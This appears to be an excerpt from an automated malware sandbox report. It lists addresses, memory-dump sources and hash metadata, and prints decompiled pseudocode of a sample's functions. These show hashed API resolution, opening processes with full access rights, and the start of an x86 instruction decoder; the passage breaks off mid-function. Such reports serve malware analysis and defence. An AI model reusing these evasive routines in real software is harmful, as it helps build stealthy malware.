0x6eeb9ceb
0x6eeb9cef
0x6eeb9cf5
0x6eeb9cf9
0x6eeb9d05
0x6eeb9d0f
0x6eeb9d13
0x6eeb9d19
0x6eeb9d1f
0x6eeb9d24
0x6eeb9d26
0x6eeb9d3e
0x6eeb9d4a
0x6eeb9d5e
0x6eeb9d63
0x6eeb9d6c
0x6eeb9d6f
0x00000000
0x00000000
0x6eeb9d75
0x6eeb9d7a
0x6eeb9d81
0x6eeb9d8e
0x6eeb9d90
0x00000000
0x00000000
0x00000000
0x6eeb9d90
0x6eeb9d28
0x6eeb9d2f
0x00000000
0x6eeb9d2f
0x6eeb9c36
0x6eeb9c41
0x6eeb9c4f
0x6eeb9c54
0x6eeb9c56
0x6eeb9c59
0x6eeb9c62
0x6eeb9c66
0x6eeb9c6e
0x6eeb9c74
0x6eeb9c78
0x6eeb9c7e
0x6eeb9c8b
0x6eeb9c8f
0x6eeb9c93
0x6eeb9c9b
0x6eeb9ca1
0x6eeb9ca6
0x6eeb9ca8
0x00000000
0x00000000
0x6eeb9cac
0x6eeb9cad
0x6eeb9cb2
0x6eeb9cbc
0x6eeb9cc3
0x6eeb9cce
0x6eeb9cd5
0x00000000
0x00000000
0x00000000
0x6eeb9cd5
0x00000000
0x6eeb9d96
0x6eeb9d96
0x6eeb9d9f
0x6eeb9da0
0x6eeb9da2
0x6eeb9da2
0x00000000
0x6eeb9dab
0x6eeb9449
0x6eeb944d
0x6eeb9456
0x6eeb945f
0x00000000

Strings

$EA, xrefs: 6EEB91E1

Memory Dump Source

Source File: 00000002.00000002.1041480154.000000006EEB1000.00000020.00020000.sdmp, Offset: 6EEB0000, based on PE: true

Associated: 00000002.00000002.1041464154.000000006EEB0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1041571392.000000006EECA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1041582165.000000006EECD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.1041623714.000000006EECF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: $EA
API String ID: 0-4251458306
Opcode ID: 94cf026cda64088c214d3a80af79cb5c11e168c9d730fd9730b1a87a6cbac2ba
Instruction ID: 7b7df82205150b6ec3fa8360af9c16d9901de5769dfc9814b518974f7269007d
Opcode Fuzzy Hash: 94cf026cda64088c214d3a80af79cb5c11e168c9d730fd9730b1a87a6cbac2ba
Instruction Fuzzy Hash: F1A27F715187419EC721DFA4C940BDFB7F8BF96304F208E2DA4999B2A1EF309949CB52

Uniqueness

Uniqueness Score: -1.00%

Function 6EEBA5A4, Relevance: 1.8, Strings: 1, Instructions: 537
COMMONCrypto

Download Yara Rule

C-Code - Quality: 84%

			E6EEBA5A4(signed int* __ecx, void* __eflags) {
				void* __esi;
				void* __ebp;
				void* _t182;
				signed int _t183;
				signed int* _t188;
				void* _t198;
				void* _t199;
				void* _t228;
				void* _t229;
				void* _t242;
				void* _t243;
				void* _t251;
				signed int* _t271;
				void* _t282;
				void* _t284;
				void* _t285;
				void* _t296;
				signed int* _t308;
				void* _t324;
				signed int _t398;
				signed int _t402;
				intOrPtr* _t403;
				intOrPtr* _t404;
				signed int _t406;
				signed int _t407;
				signed int _t409;
				signed int _t411;
				signed int _t412;
				void* _t413;
				signed int _t414;
				signed int _t415;
				signed int _t416;
				signed int _t419;
				void* _t420;
				signed int _t421;
				void* _t422;
				signed int _t424;
				signed int _t429;
				signed int _t433;
				signed int _t434;
				signed int _t437;
				intOrPtr* _t439;

				_t308 = __ecx;
				 *(_t439 + 0x78) = 0;
				 *_t439 = __ecx + 8;
				 *((intOrPtr*)(_t439 + 4)) = __ecx + 0x20;
				while(1) {
					_t392 =  *_t308;
					E6EEBB714(_t439 + 0x24, _t392, 0x7fffffff);
					if(E6EEBF56C(_t439 + 0x24) == 0) {
						goto L3;
					} else {
						_t308[0xc] = 0;
						E6EEBF6F0(_t439 + 0x24);
					}
					L63:
					_t398 = 0xffffffffffffffff;
					_t407 = 0xffffffffffffffff;
					L65:
					if((_t407 | _t398) != 0) {
						L68:
						return _t407;
					}
					if( *(_t439 + 0x78) != 0x20) {
						E6EEC218C(0x5dc, _t392, _t407);
						 *(_t439 + 0x78) =  *(_t439 + 0x78) + 1;
						continue;
					}
					_t398 = 0xffffffffffffffff;
					_t407 = 0xffffffffffffffff;
					goto L68;
					L3:
					__eflags = _t308[1];
					if(_t308[1] <= 0) {
						L21:
						__eflags =  *(_t439 + 0x20);
						if( *(_t439 + 0x20) <= 0) {
							L33:
							E6EEBF6F0(_t439 + 0x24);
							__eflags = _t308[0xc];
							if(_t308[0xc] == 0) {
								L46:
								 *((intOrPtr*)(_t439 + 8)) = 0;
								 *((intOrPtr*)(_t439 + 0xc)) = 0;
								E6EEBF620(_t439 + 0x14, 0);
								 *((intOrPtr*)(_t439 + 0x38)) = 0;
								 *(_t439 + 0x34) =  *_t308;
								E6EEBF620(_t439 + 0x40, 0);
								_t182 = 0x40;
								__eflags = _t308[7] - 0x40;
								_t183 =  <  ? _t308[7] : _t182;
								 *(_t439 + 0x74) = _t183;
								__eflags = _t183;
								if(_t183 <= 0) {
									L57:
									asm("movq xmm0, [0x6eecb7a8]");
									asm("movq [esp+0x84], xmm0");
									_t406 = E6EEC2F8C(0xa5eabdf8, 0xd1a06a90);
									__eflags = _t406;
									if(_t406 == 0) {
										_t424 = 0;
										__eflags = 0;
										L61:
										__eflags = _t424 - 0x3f;
										if(_t424 <= 0x3f) {
											__eflags = _t424 << 2;
											_t308[0xc] =  *(E6EEBF558( *((intOrPtr*)(_t439 + 8)), _t424 << 2));
											_t188 = E6EEBF558( *((intOrPtr*)(_t439 + 4)), _t424 << 2);
											_t407 = _t308[0xc];
											asm("cdq");
											_t308[0xd] =  *_t188;
											_t398 = _t392;
											E6EEBB680(_t439 + 0x34);
											E6EEBB680(_t439 + 8);
											goto L65;
										}
										L62:
										E6EEBB680(_t439 + 0x34);
										E6EEBB680(_t439 + 8);
										goto L63;
									}
									_t392 = E6EEBF558(_t439 + 0x14, 0);
									_t198 =  *_t406( *((intOrPtr*)(_t439 + 0xc)), _t392, 1, 0, _t439 + 0x84);
									_t133 = _t198 - 0x80; // -128
									_t199 = _t133;
									__eflags = _t199 - 0x3f;
									_t424 =  <=  ? _t199 : _t198;
									__eflags = _t424 - 0x102;
									if(_t424 == 0x102) {
										goto L62;
									}
									goto L61;
								}
								_t437 = 0;
								__eflags = 0;
								while(1) {
									E6EEBCB48(_t439 + 0x4c);
									_t392 = 0;
									_t324 = _t439 + 0x4c;
									 *((char*)(_t324 + 4)) = 0;
									 *((intOrPtr*)(_t324 + 0x1c)) = 0;
									__eflags = E6EEBC33C(_t324);
									if(__eflags != 0) {
										break;
									}
									E6EEBF8C4(_t439 + 0x14, E6EEBF568(_t439 + 0x10) + 4);
									 *((intOrPtr*)(E6EEBF558(_t439 + 0x14, E6EEBF568(_t439 + 0x10) + 0xfffffffc))) =  *((intOrPtr*)(_t439 + 0x4c));
									 *((intOrPtr*)(_t439 + 0xc)) =  *((intOrPtr*)(_t439 + 0xc)) + 1;
									_t409 = E6EEC2F8C(0xa5eabdf8, 0xf3119fba);
									__eflags = _t409;
									if(_t409 == 0) {
										L51:
										_t392 =  *(_t439 + 0x68);
										__eflags = _t392;
										if(__eflags == 0) {
											break;
										}
										__eflags = _t392 - 0xffffffff;
										if(__eflags != 0) {
											E6EEBF8C4(_t439 + 0x40, E6EEBF568(_t439 + 0x3c) + 4);
											 *(E6EEBF558(_t439 + 0x40, E6EEBF568(_t439 + 0x3c) + 0xfffffffc)) =  *(_t439 + 0x68);
											 *((intOrPtr*)(_t439 + 0x4c - 0x14)) =  *((intOrPtr*)(_t439 + 0x4c - 0x14)) + 1;
											E6EEBCDE0(_t439 + 0x4c, __eflags);
											_t437 = _t437 + 1;
											__eflags = _t437 -  *(_t439 + 0x74);
											if(_t437 <  *(_t439 + 0x74)) {
												continue;
											}
											_t411 = 0;
											__eflags = 0;
											do {
												E6EEBF558( *((intOrPtr*)(_t439 + 8)), _t411 * 4);
												E6EEBF558(_t439 + 0x40, _t411 * 4);
												_t439 = _t439 + 0xffffffd8;
												asm("cdq");
												asm("pxor xmm5, xmm5");
												asm("movd xmm1, dword [ebp]");
												asm("movd xmm4, dword [edi]");
												asm("movd xmm0, edx");
												asm("cdq");
												asm("punpckldq xmm1, xmm0");
												asm("movq xmm2, [ebx+0x38]");
												asm("movq [esp], xmm1");
												asm("movd xmm3, edx");
												asm("punpckldq xmm4, xmm3");
												asm("movq [esp+0x8], xmm2");
												asm("movq [esp+0x10], xmm4");
												asm("movq [esp+0x18], xmm5");
												asm("movq [esp+0x20], xmm5");
												E6EEBAD04(__eflags);
												_t411 = _t411 + 1;
												__eflags = _t411 -  *(_t439 + 0x74);
											} while (_t411 <  *(_t439 + 0x74));
											goto L57;
										}
										break;
									}
									_t392 = _t439 + 0x68;
									 *_t409(0xffffffff,  *((intOrPtr*)(_t439 + 0x60)),  *_t308, _t439 + 0x68, 0, 0, 2);
									__eflags = 0;
									if(0 != 0) {
										break;
									}
									goto L51;
								}
								E6EEBCDE0(_t439 + 0x4c, __eflags);
								goto L62;
							}
							_t402 = _t308[1];
							__eflags = _t402;
							if(_t402 <= 0) {
								goto L46;
							}
							_t412 = 0;
							__eflags = 0;
							while(1) {
								_t429 = _t412 * 4;
								_t392 =  *(E6EEBF558( *((intOrPtr*)(_t439 + 4)), _t429));
								__eflags = _t392 - _t308[0xd];
								if(_t392 == _t308[0xd]) {
									break;
								}
								_t412 = _t412 + 1;
								__eflags = _t412 - _t402;
								if(_t412 < _t402) {
									continue;
								}
								goto L46;
							}
							__eflags = _t412 - 0xffffffff;
							if(_t412 != 0xffffffff) {
								_t228 = E6EEBF568( *((intOrPtr*)(_t439 + 4)));
								__eflags = _t228 - _t429;
								if(_t228 > _t429) {
									_t392 = 4 + _t412 * 4;
									 *(_t439 + 0x6c) = _t392;
									_t251 = E6EEBF568( *((intOrPtr*)(_t439 + 4)));
									__eflags = _t251 -  *(_t439 + 0x6c);
									if(_t251 >  *(_t439 + 0x6c)) {
										 *((intOrPtr*)(_t439 + 0x90)) = E6EEBF558( *((intOrPtr*)(_t439 + 8)), _t429);
										 *((intOrPtr*)(_t439 + 0x8c)) = E6EEBF558( *((intOrPtr*)(_t439 + 8)),  *(_t439 + 0x6c));
										E6EEC382C( *((intOrPtr*)(_t439 + 0x98)),  *((intOrPtr*)(_t439 + 0x90)), E6EEBF568( *((intOrPtr*)(_t439 + 4))) -  *(_t439 + 0x6c));
										_t439 = _t439 + 0xc;
									}
									E6EEBF8C4( *((intOrPtr*)(_t439 + 8)), E6EEBF568( *((intOrPtr*)(_t439 + 4))) + 0xfffffffc);
									_t74 =  &(_t308[7]);
									 *_t74 = _t308[7] - 1;
									__eflags =  *_t74;
								}
								_t229 = E6EEBF568( *_t439);
								__eflags = _t229 - _t429;
								if(_t229 > _t429) {
									_t413 = 4 + _t412 * 4;
									_t242 = E6EEBF568( *_t439);
									__eflags = _t242 - _t413;
									if(_t242 > _t413) {
										_t243 = E6EEBF558( *((intOrPtr*)(_t439 + 4)), _t429);
										 *((intOrPtr*)(_t439 + 0x94)) = E6EEBF558( *((intOrPtr*)(_t439 + 4)), _t413);
										E6EEC382C(_t243,  *((intOrPtr*)(_t439 + 0x98)), E6EEBF568( *_t439) - _t413);
										_t439 = _t439 + 0xc;
									}
									E6EEBF8C4( *((intOrPtr*)(_t439 + 4)), E6EEBF568( *_t439) + 0xfffffffc);
									_t79 =  &(_t308[1]);
									 *_t79 = _t308[1] - 1;
									__eflags =  *_t79;
								}
								E6EEBF8C4( *((intOrPtr*)(_t439 + 8)), E6EEBF568( *((intOrPtr*)(_t439 + 4))) + 4);
								 *(E6EEBF558( *((intOrPtr*)(_t439 + 8)), E6EEBF568( *((intOrPtr*)(_t439 + 4))) + 0xfffffffc)) = _t308[0xc];
								_t308[7] = _t308[7] + 1;
								E6EEBF8C4( *((intOrPtr*)(_t439 + 4)), E6EEBF568( *_t439) + 4);
								 *(E6EEBF558( *((intOrPtr*)(_t439 + 4)), E6EEBF568( *_t439) + 0xfffffffc)) = _t308[0xd];
								_t308[1] = _t308[1] + 1;
							}
							goto L46;
						}
						_t433 = 0;
						__eflags = 0;
						do {
							 *(_t439 + 0x70) = _t433 * 4;
							_t403 = E6EEBF558(_t439 + 0x28, _t433 * 4);
							_t392 = _t308[1];
							 *(_t439 + 0x80) = _t392;
							__eflags = _t392;
							if(_t392 <= 0) {
								L29:
								_t414 = E6EEC2F8C(0x4bcc7cba, 0x997e6547);
								__eflags = _t414;
								if(_t414 != 0) {
									_t416 =  *_t414(0x1fffff, 0,  *((intOrPtr*)(E6EEBF558(_t439 + 0x28,  *(_t439 + 0x70)))));
									__eflags = _t416;
									if(_t416 != 0) {
										E6EEBF8C4( *((intOrPtr*)(_t439 + 8)), E6EEBF568( *((intOrPtr*)(_t439 + 4))) + 4);
										 *(E6EEBF558( *((intOrPtr*)(_t439 + 8)), E6EEBF568( *((intOrPtr*)(_t439 + 4))) + 0xfffffffc)) = _t416;
										_t308[7] = _t308[7] + 1;
										_t271 = E6EEBF558(_t439 + 0x28,  *(_t439 + 0x70));
										E6EEBF8C4( *((intOrPtr*)(_t439 + 4)), E6EEBF568( *_t439) + 4);
										 *(E6EEBF558( *((intOrPtr*)(_t439 + 4)), E6EEBF568( *_t439) + 0xfffffffc)) =  *_t271;
										_t57 =  &(_t308[1]);
										 *_t57 = _t308[1] + 1;
										__eflags =  *_t57;
									}
								}
								goto L32;
							}
							_t415 = 0;
							__eflags = 0;
							while(1) {
								_t392 =  *(E6EEBF558( *((intOrPtr*)(_t439 + 4)), _t415 * 4));
								__eflags = _t392 -  *_t403;
								if(_t392 ==  *_t403) {
									break;
								}
								_t415 = _t415 + 1;
								__eflags = _t415 -  *(_t439 + 0x80);
								if(_t415 <  *(_t439 + 0x80)) {
									continue;
								}
								goto L29;
							}
							__eflags = _t415 - 0xffffffff;
							if(_t415 == 0xffffffff) {
								goto L29;
							}
							L32:
							_t433 = _t433 + 1;
							__eflags = _t433 -  *(_t439 + 0x20);
						} while (_t433 <  *(_t439 + 0x20));
						goto L33;
					} else {
						_t434 = 0;
						__eflags = 0;
						do {
							 *(_t439 + 0x64) = _t434 * 4;
							_t404 = E6EEBF558( *((intOrPtr*)(_t439 + 4)), _t434 * 4);
							_t392 =  *(_t439 + 0x20);
							 *(_t439 + 0x7c) = _t392;
							__eflags = _t392;
							if(_t392 <= 0) {
								L11:
								_t282 = E6EEBF568( *_t439);
								__eflags = _t282 -  *(_t439 + 0x64);
								if(_t282 >  *(_t439 + 0x64)) {
									_t420 = 4 + _t434 * 4;
									_t296 = E6EEBF568( *_t439);
									__eflags = _t296 - _t420;
									if(_t296 > _t420) {
										 *((intOrPtr*)(_t439 + 0x9c)) = E6EEBF558( *((intOrPtr*)(_t439 + 4)),  *(_t439 + 0x64));
										 *((intOrPtr*)(_t439 + 0x98)) = E6EEBF558( *((intOrPtr*)(_t439 + 4)), _t420);
										E6EEC382C( *((intOrPtr*)(_t439 + 0xa4)),  *((intOrPtr*)(_t439 + 0x9c)), E6EEBF568( *_t439) - _t420);
										_t439 = _t439 + 0xc;
									}
									E6EEBF8C4( *((intOrPtr*)(_t439 + 4)), E6EEBF568( *_t439) + 0xfffffffc);
									_t22 =  &(_t308[1]);
									 *_t22 = _t308[1] - 1;
									__eflags =  *_t22;
								}
								_t419 = E6EEC2F8C(0xa5eabdf8, 0x2c2324e8);
								__eflags = _t419;
								if(_t419 != 0) {
									 *_t419( *((intOrPtr*)(E6EEBF558( *((intOrPtr*)(_t439 + 8)),  *(_t439 + 0x64)))));
								}
								_t284 = E6EEBF568( *((intOrPtr*)(_t439 + 4)));
								__eflags = _t284 -  *(_t439 + 0x64);
								if(_t284 >  *(_t439 + 0x64)) {
									_t422 = 4 + _t434 * 4;
									_t285 = E6EEBF568( *((intOrPtr*)(_t439 + 4)));
									__eflags = _t285 - _t422;
									if(_t285 > _t422) {
										 *((intOrPtr*)(_t439 + 0xa4)) = E6EEBF558( *((intOrPtr*)(_t439 + 8)),  *(_t439 + 0x64));
										 *((intOrPtr*)(_t439 + 0xa0)) = E6EEBF558( *((intOrPtr*)(_t439 + 8)), _t422);
										E6EEC382C( *((intOrPtr*)(_t439 + 0xac)),  *((intOrPtr*)(_t439 + 0xa4)), E6EEBF568( *((intOrPtr*)(_t439 + 4))) - _t422);
										_t439 = _t439 + 0xc;
									}
									E6EEBF8C4( *((intOrPtr*)(_t439 + 8)), E6EEBF568( *((intOrPtr*)(_t439 + 4))) + 0xfffffffc);
									_t33 =  &(_t308[7]);
									 *_t33 = _t308[7] - 1;
									__eflags =  *_t33;
								}
								_t434 = _t434 - 1;
								__eflags = _t434;
								goto L20;
							}
							_t421 = 0;
							__eflags = 0;
							while(1) {
								_t392 =  *(E6EEBF558(_t439 + 0x28, _t421 * 4));
								__eflags = _t392 -  *_t404;
								if(_t392 ==  *_t404) {
									break;
								}
								_t421 = _t421 + 1;
								__eflags = _t421 -  *(_t439 + 0x7c);
								if(_t421 <  *(_t439 + 0x7c)) {
									continue;
								}
								goto L11;
							}
							__eflags = _t421 - 0xffffffff;
							if(_t421 == 0xffffffff) {
								goto L11;
							}
							L20:
							_t434 = _t434 + 1;
							__eflags = _t434 - _t308[1];
						} while (_t434 < _t308[1]);
						goto L21;
					}
				}
			}

0x6eeba5ae
0x6eeba5b0
0x6eeba5bb
0x6eeba5c1
0x6eeba5c5
0x6eeba5ca
0x6eeba5d0
0x6eeba5e0
0x00000000
0x6eeba5e2
0x6eeba5e2
0x6eeba5ed
0x6eeba5ed
0x6eebab6b
0x6eebab6d
0x6eebab6e
0x6eebabad
0x6eebabb1
0x6eebabbf
0x6eebabcd
0x6eebabcd
0x6eebabb8
0x6eebabd3
0x6eebabd8
0x00000000
0x6eebabd8
0x6eebabbc
0x6eebabbd
0x00000000
0x6eeba5f7
0x6eeba5f7
0x6eeba5fb
0x6eeba702
0x6eeba702
0x6eeba707
0x6eeba818
0x6eeba81c
0x6eeba821
0x6eeba825
0x6eeba94f
0x6eeba951
0x6eeba955
0x6eeba95e
0x6eeba967
0x6eeba96b
0x6eeba974
0x6eeba97b
0x6eeba97c
0x6eeba980
0x6eeba984
0x6eeba988
0x6eeba98a
0x6eebaaf4
0x6eebaaf4
0x6eebaafc
0x6eebab14
0x6eebab16
0x6eebab18
0x6eebab52
0x6eebab52
0x6eebab54
0x6eebab54
0x6eebab57
0x6eebab72
0x6eebab86
0x6eebab89
0x6eebab8e
0x6eebab99
0x6eebab9a
0x6eebab9d
0x6eebab9f
0x6eebaba8
0x00000000
0x6eebaba8
0x6eebab59
0x6eebab5d
0x6eebab66
0x00000000
0x6eebab66
0x6eebab29
0x6eebab39
0x6eebab3d
0x6eebab3d
0x6eebab40
0x6eebab43
0x6eebab46
0x6eebab4c
0x00000000
0x00000000
0x00000000
0x6eebab4e
0x6eeba992
0x6eeba992
0x6eeba994
0x6eeba998
0x6eeba99d
0x6eeba99f
0x6eeba9a3
0x6eeba9a6
0x6eeba9ae
0x6eeba9b0
0x00000000
0x00000000
0x6eeba9c7
0x6eeba9e2
0x6eeba9e4
0x6eeba9f7
0x6eeba9f9
0x6eeba9fb
0x6eebaa16
0x6eebaa16
0x6eebaa1a
0x6eebaa1c
0x00000000
0x00000000
0x6eebaa1e
0x6eebaa21
0x6eebaa42
0x6eebaa61
0x6eebaa67
0x6eebaa6a
0x6eebaa6f
0x6eebaa70
0x6eebaa74
0x00000000
0x00000000
0x6eebaa7c
0x6eebaa7c
0x6eebaa7e
0x6eebaa8a
0x6eebaa96
0x6eebaaa0
0x6eebaaa3
0x6eebaaa6
0x6eebaaaa
0x6eebaab1
0x6eebaab5
0x6eebaab9
0x6eebaaba
0x6eebaabe
0x6eebaac3
0x6eebaac8
0x6eebaacc
0x6eebaad0
0x6eebaad6
0x6eebaadc
0x6eebaae2
0x6eebaae8
0x6eebaaed
0x6eebaaee
0x6eebaaee
0x00000000
0x6eebaa7e
0x00000000
0x6eebaa21
0x6eeba9ff
0x6eebaa10
0x6eebaa12
0x6eebaa14
0x00000000
0x00000000
0x00000000
0x6eebaa14
0x6eebaa27
0x00000000
0x6eebaa27
0x6eeba82b
0x6eeba82e
0x6eeba830
0x00000000
0x00000000
0x6eeba838
0x6eeba838
0x6eeba83a
0x6eeba83a
0x6eeba84b
0x6eeba84d
0x6eeba850
0x00000000
0x00000000
0x6eeba946
0x6eeba947
0x6eeba949
0x00000000
0x00000000
0x00000000
0x6eeba949
0x6eeba856
0x6eeba859
0x6eeba863
0x6eeba868
0x6eeba86a
0x6eeba870
0x6eeba877
0x6eeba87b
0x6eeba880
0x6eeba884
0x6eebacbf
0x6eebacd3
0x6eebacf6
0x6eebacfb
0x6eebacfb
0x6eeba89b
0x6eeba8a0
0x6eeba8a0
0x6eeba8a0
0x6eeba8a0
0x6eeba8a6
0x6eeba8ab
0x6eeba8ad
0x6eeba8b2
0x6eeba8b9
0x6eeba8be
0x6eeba8c0
0x6eebac7d
0x6eebac8e
0x6eebaca8
0x6eebacad
0x6eebacad
0x6eeba8d6
0x6eeba8db
0x6eeba8db
0x6eeba8db
0x6eeba8db
0x6eeba8ef
0x6eeba90d
0x6eeba912
0x6eeba922
0x6eeba93f
0x6eeba941
0x6eeba941
0x00000000
0x6eeba859
0x6eeba70f
0x6eeba70f
0x6eeba711
0x6eeba718
0x6eeba726
0x6eeba728
0x6eeba72b
0x6eeba732
0x6eeba734
0x6eeba765
0x6eeba774
0x6eeba776
0x6eeba778
0x6eeba796
0x6eeba798
0x6eeba79a
0x6eeba7ad
0x6eeba7cc
0x6eeba7d2
0x6eeba7d5
0x6eeba7ec
0x6eeba808
0x6eeba80a
0x6eeba80a
0x6eeba80a
0x6eeba80a
0x6eeba79a
0x00000000
0x6eeba778
0x6eeba738
0x6eeba738
0x6eeba73a
0x6eeba74b
0x6eeba74d
0x6eeba74f
0x00000000
0x00000000
0x6eeba75b
0x6eeba75c
0x6eeba763
0x00000000
0x00000000
0x00000000
0x6eeba763
0x6eeba751
0x6eeba754
0x00000000
0x00000000
0x6eeba80d
0x6eeba80d
0x6eeba80e
0x6eeba80e
0x00000000
0x6eeba601
0x6eeba603
0x6eeba603
0x6eeba605
0x6eeba60c
0x6eeba61a
0x6eeba61c
0x6eeba620
0x6eeba624
0x6eeba626
0x6eeba654
0x6eeba657
0x6eeba65c
0x6eeba660
0x6eeba665
0x6eeba66c
0x6eeba671
0x6eeba673
0x6eebac3a
0x6eebac4b
0x6eebac6b
0x6eebac70
0x6eebac70
0x6eeba689
0x6eeba68e
0x6eeba68e
0x6eeba68e
0x6eeba68e
0x6eeba6a0
0x6eeba6a2
0x6eeba6a4
0x6eeba6b5
0x6eeba6b5
0x6eeba6bb
0x6eeba6c0
0x6eeba6c4
0x6eeba6ca
0x6eeba6d1
0x6eeba6d6
0x6eeba6d8
0x6eebabee
0x6eebabff
0x6eebac20
0x6eebac25
0x6eebac25
0x6eeba6ef
0x6eeba6f4
0x6eeba6f4
0x6eeba6f4
0x6eeba6f4
0x6eeba6f7
0x6eeba6f7
0x00000000
0x6eeba6f7
0x6eeba62a
0x6eeba62a
0x6eeba62c
0x6eeba63d
0x6eeba63f
0x6eeba641
0x00000000
0x00000000
0x6eeba64d
0x6eeba64e
0x6eeba652
0x00000000
0x00000000
0x00000000
0x6eeba652
0x6eeba643
0x6eeba646
0x00000000
0x00000000
0x6eeba6f8
0x6eeba6f8
0x6eeba6f9
0x6eeba6f9
0x00000000
0x6eeba605
0x6eeba5fb

Strings

, xrefs: 6EEBABB3

Memory Dump Source

Source File: 00000002.00000002.1041480154.000000006EEB1000.00000020.00020000.sdmp, Offset: 6EEB0000, based on PE: true

Associated: 00000002.00000002.1041464154.000000006EEB0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1041571392.000000006EECA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1041582165.000000006EECD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.1041623714.000000006EECF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 27aa81008bbca2aa15658cce520bc86951e82fe0a5956d11acfd1d1427297fc5
Instruction ID: 803183d2c3dd1c572f2ec3c5963c904def936cd9d62382f38270bee2684040c9
Opcode Fuzzy Hash: 27aa81008bbca2aa15658cce520bc86951e82fe0a5956d11acfd1d1427297fc5
Instruction Fuzzy Hash: 88127E755087059FCB14DFA4CE90AAFB7B9BF85605F304A2DE4A9972A0EB34DC01CB52

Uniqueness

Uniqueness Score: -1.00%

Function 6EEC92DC, Relevance: 1.8, Strings: 1, Instructions: 529
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E6EEC92DC(intOrPtr __ecx, intOrPtr __edx, void* __eflags) {
				signed int _t250;
				signed char _t251;
				signed char* _t254;
				char _t255;
				signed short _t256;
				char _t257;
				signed short _t260;
				signed int _t261;
				signed int _t262;
				void* _t264;
				void* _t272;
				void* _t273;
				signed short* _t274;
				signed char _t275;
				signed int _t277;
				signed int _t278;
				void* _t282;
				signed int _t288;
				unsigned int _t290;
				signed int _t292;
				signed int _t293;
				signed int _t294;
				signed int _t295;
				unsigned int _t296;
				unsigned int _t297;
				signed int _t299;
				unsigned int _t301;
				signed char _t302;
				signed int _t304;
				signed char _t307;
				signed char _t308;
				signed int _t309;
				void* _t312;
				void* _t313;
				signed int _t314;
				signed int _t316;
				signed int _t319;
				signed int _t321;
				signed int _t338;
				signed int _t339;
				signed int _t343;
				signed int _t345;
				unsigned int* _t346;
				unsigned int _t354;
				signed int _t355;
				void* _t357;
				signed int _t364;
				signed int _t366;
				signed int _t383;
				signed int _t388;
				signed int _t391;
				signed int _t395;
				signed int _t396;
				signed int _t397;
				signed int _t398;
				signed int _t399;
				signed int _t400;
				signed int _t403;
				signed int _t408;
				signed int _t411;
				signed int _t412;
				signed int _t413;
				signed int _t417;
				signed int _t419;
				signed int _t424;
				void* _t426;
				signed int* _t427;

				 *((intOrPtr*)(_t426 + 0x24)) = __edx;
				 *((intOrPtr*)(_t426 + 0x10)) = __ecx;
				 *((intOrPtr*)(_t426 + 0x14)) = __ecx;
				_t274 =  *(_t426 + 0x48);
				E6EEC35D4( *(_t426 + 0x48), 0, 0x1c);
				_t427 = _t426 + 0xc;
				_t338 = 0;
				_t282 = 0x10;
				do {
					_t250 =  *_t274 & 0x000000ff;
					_t274 =  &(_t274[0]);
					if(_t250 == 0xf3) {
						_t383 = _t427[0x10];
						_t339 = _t338 | 0x00000004;
						L17:
						_t338 = _t339 & 0x000000ff;
						 *(_t383 + 1) = _t250;
						goto L18;
					}
					if(_t250 == 0xf2) {
						_t383 = _t427[0x10];
						_t339 = _t338 | 0x00000002;
						goto L17;
					}
					if(_t250 == 0xf0) {
						_t338 = (_t338 | 0x00000020) & 0x000000ff;
						 *(_t427[0x10] + 2) = _t250;
						goto L18;
					}
					if(_t250 == 0x26 || _t250 == 0x2e || _t250 == 0x36 || _t250 == 0x3e) {
						L13:
						_t338 = (_t338 | 0x00000040) & 0x000000ff;
						 *(_t427[0x10] + 3) = _t250;
					} else {
						_t6 = _t250 - 0x64; // -100
						if(_t6 <= 1) {
							goto L13;
						}
						if(_t250 == 0x66) {
							_t338 = (_t338 | 0x00000008) & 0x000000ff;
							 *(_t427[0x10] + 4) = _t250;
							goto L18;
						}
						if(_t250 != 0x67) {
							break;
						} else {
							_t338 = _t338 | 0x00000010;
							 *(_t427[0x10] + 5) = _t250;
							goto L18;
						}
					}
					L18:
					_t282 = _t282 + 0xff;
				} while (_t282 != 0);
				_t388 = _t427[0x10];
				_t285 =  !=  ? _t338 : 1;
				_t343 = _t338 << 0x17;
				 *(_t388 + 6) = _t250;
				 *_t427 =  !=  ? _t338 : 1;
				 *(_t388 + 0x18) = _t343;
				if(_t250 == 0xf) {
					_t250 =  *_t274 & 0x000000ff;
					_t274 =  &(_t274[0]);
					_t427[5] = _t250;
					 *(_t427[0x10] + 7) = _t250;
					_t427[2] = _t427[4] + 0x4a;
				} else {
					_t22 = _t250 - 0xa0; // -160
					_t427[5] =  *(_t427[0x10] + 7) & 0x000000ff;
					if(_t22 <= 3) {
						_t424 =  *_t427;
						_t382 =  !=  ? (_t424 | 0x00000008) & 0x000000ff : _t424 & 0x000000f7;
						 *_t427 =  !=  ? (_t424 | 0x00000008) & 0x000000ff : _t424 & 0x000000f7;
					}
				}
				_t354 = _t250 >> 2;
				_t391 = _t250 & 0x00000003;
				_t345 = _t427[2];
				_t427[3] = _t391;
				_t427[6] = _t354;
				_t288 =  *(( *(_t354 + _t345) & 0x000000ff) + _t391 + _t345) & 0x000000ff;
				_t427[1] = _t288;
				if(_t288 == 0xff) {
					_t343 = _t343 + 0x3000;
					_t288 = 0 | (_t250 & 0xfffffffd) == 0x00000024;
					 *(_t427[0x10] + 0x18) = _t343;
					_t427[1] = _t288;
				}
				if((_t427[1] & 0x00000080) != 0) {
					_t290 =  *((_t288 & 0x0000007f) + _t345) & 0x0000ffff;
					_t427[1] = _t290;
					_t395 = _t290 >> 8;
				} else {
					_t395 = 0;
				}
				if(_t427[5] != 0 && ( *_t427 &  *(( *(_t427[6] + _t427[4] + 0x130) & 0x000000ff) + _t427[3] + _t427[4] + 0x130) & 0x000000ff) != 0) {
					_t343 = _t343 | 0x00003000;
					 *(_t427[0x10] + 0x18) = _t343;
				}
				if((_t427[1] & 0x00000001) == 0) {
					if(( *_t427 & 0x00000020) != 0) {
						_t343 = _t343 | 0x00009000;
						 *(_t427[0x10] + 0x18) = _t343;
					}
					goto L114;
				} else {
